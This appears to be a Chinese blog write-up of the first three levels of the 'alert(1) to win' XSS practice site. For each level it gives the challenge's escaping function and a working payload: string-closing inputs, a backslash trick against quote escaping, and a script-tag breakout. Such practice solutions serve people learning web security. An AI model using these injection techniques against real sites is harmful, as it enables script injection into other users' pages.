alert(1) to win部分解题
XSS在线习题分析 (https://alf.nu/alert1)
1. Warmup
function escape(s) { return '<script>console.log("'+s+'");</script>'; }
没有进行过滤,只需要语句闭合就行。闭合语句思路:把console.log() 单独作为一个语句,alert(1)单独作为一个语句,包含在里面。
最好就是这个样子。
<script>console.log();alert(1);</script>
当我们输入");alert(1);//或者");alert(1);(",JavaScript语句就变成了
<script>console.log("");alert(1);("");</script>
或者
<script>console.log("");alert(1);//");</script>
第一条和第二条区别是,第一条完全的闭合了:(""),只要语法没错就可以。第二条//将后边的注释掉了,不用闭合,没有后边的</script>与<script>与之匹配,JavaScript照样可以正常输出。
2.Adobe
function escape(s) {
s = s.replace(/"/g, '\\"');
return '<script>console.log("' + s + '");</script>';
}
这个啥意思呢,就是函数replace把双引号换成了反斜杠+双引号:" -> \"。我们按照第一关的构造:<script>console.log("\");alert(1);//");</script>
可以看到在log()输出的那里,第二个双引号被\转移了,没办法有前边的双引号闭合。我们要想办法让\双引号失去作用:
");alert(1);//
在最前边加上一个反斜杠,replace函数自动添加的那个反斜杠和自己添加的那个反斜杠正好组一起了,log可以正常输出,两个双引号成功的闭合了。
<script>console.log("\\");alert(1);//");</script>
3.JSON
先把第二关的输入进去,发现log("\"),三个反斜杠,去掉输入的第一个反斜杠,发现输出变成了log("")。上网查了查,JSON.stringify()处理双引号和反斜杠 的时候,会在前边加上个反斜杠,这就说明第二关的思路不行了。因为这里输入无论有多少个反斜杠,输出反斜杠都是奇数 个,log()这里永远闭合不了。
我们只好转变思路,一开始是让这几句话在一个<script></script>里面,能不能让它们在两个里面呢?
别的不管,我把别的语句先闭合,里面是什么样子有没有错误我不管。我就让alert(1)这个包含在一个里面并且没有错误就行。
构造</script><script>alert(1)</script>// 其实到这里,我本来没有想到会成功的, 可能是因为优先级的原因,双引号没有匹配但是遇到script标签,也会优先执行后者。
结果:<script>console.log("</script><script>alert(1)</script>//");</script>
以后的等学了js再说吧,看代码云里雾里的。。。
alert(1) to win部分解题的更多相关文章
- 【alert(1) to win】不完全攻略
alert(1) to win 一个练习XSS的平台,地址:https://alf.nu/alert1 Warmup 给出了一段JavaScript代码 function escape(s) { re ...
- alert(1) to win Part Ⅰ
alert(1) to win Adobe: function escape(s) { s = s.replace(/"/g, '\\"'); return '<script ...
- 【20171027中】alert(1) to win 第13,14,15,16题
第13题 题目: function escape(s) { var tag = document.createElement('iframe'); // For this one, you get t ...
- 【20171027早】alert(1) to win 第9,10,11,12题
人在江湖,不服就干! 第9题: function escape(s) { function htmlEscape(s) { return s.replace(/./g, function(x) { r ...
- 【20171026早】alert(1) to win - 第六、七、八题
早上7点起床,又写了一篇小说发在了起点网上,有兴趣的可以看看.点击这里 忙完后,继续练习,刚开始发现自己答题的速度有些慢,可能是因为对于html,javascript知识不是很精通,但是话又说回来,谁 ...
- 【20171025晚】alert(1) to win 第五题 正则表达式过滤
吃过晚饭,再练一题 第五题 function escape(s) { var text = s.replace(/</g, '<').replace(/"/g, '"' ...
- 【20171025中】alert(1) to win 脚本渲染自建
游戏误人生,一下午玩了将近四个小时的三国杀,后悔不已,然后重新拾起xss challenge,突发奇想,自己构建渲染后的html. 从最简单的开始. 自动检测html: <!DOCTYPE ht ...
- 【20171025早】alert(1) to win 练习
本人黑绝楼,自称老黑,男,25岁,曾经在BAT工作过两年,但是一直都是底层人员,整天做重复性工作,甚敢无趣,曾和工作十年之久的同事聊天,发现对方回首过往,生活是寡淡如水,只有机械性工作.旋即老黑毅然决 ...
- "alert(1) to win" writeup
地址:http://escape.alf.nu/ level 0: 注意补全,");alert(1)// level 1: 通过添加反斜线使用来转义的反斜线变为字符,\");ale ...
随机推荐
- SpringEL和资源调用
Spring EL-Spring表达式语言,支持在xml和注解中使用表达式,类似于JSP的EL表达式语言. Spring开发中经常涉及调用各种资源的情况,包含普通文件.网址.配置文件.系统环境变量等, ...
- JS案例练习-手机微信聊天对话框
先附图 CSS部分: <style> body{} *{;} li{list-style: none;} .container{ width:310px; height:600px; ma ...
- 在数据绑定控件(如:Repeater)中使用if判断
方法: target="<%# DataBinder.Eval(Container.DataItem, "数据库字段").ToString() == "t ...
- Yii2 Working with Relational Data at ActiveDataProvider
Yii2 Working with Relational Data at ActiveDataProvider namespace common\models; use Yii; use yii\ba ...
- mybatis-关联关系
在实现实列中我们在学生表里面增加了一个地址表用于与学生表的一对一 1.创建地址实体类: package com.java1234.mappers; import com.java1234.model. ...
- 微软高性能缓存AppFabric(二)使用
原文链接:http://www.cnblogs.com/Qbit/p/6102614.html 从AppFabric 的安装目录中选择两个dll添加到项目中, 默认安装位置:C:\Program Fi ...
- 基于PowerShell的Lync Server管理 使用C# 之 Telephony 功能 查看 /修改
本以为这个属性可以在用户信息中直接反应出来,但是看了好几遍还是没找到这个属性名称 这个功能没有在get-User 的结果中直接反映出来 但是可以通过 Property 查找单个选项 如: Get-Cs ...
- IDEA 编辑器如何将tabs 分行显示
https://jingyan.baidu.com/article/49ad8bcebd9e7c5834d8faac.html
- 【BZOJ4327】[JSOI2012] 玄武密码(AC自动机的小应用)
点此看题面 大致题意: 给你一个长度为\(len\)的文本串和\(n\)个模式串,让你求出每一个模式串的前缀与文本串的最大匹配串长度(其中模式串和文本串都只由字符'E','S','W','N'组成). ...
- js表单序列化时,非空判断
在项目中,对于数据的传输一般需要非空的判断,而数据字段较多时一般直接将表单序列化,此时如何判断非空,如下 因为将表单序列化时,数据格式为 trainKind=1&trainKindCode=1 ...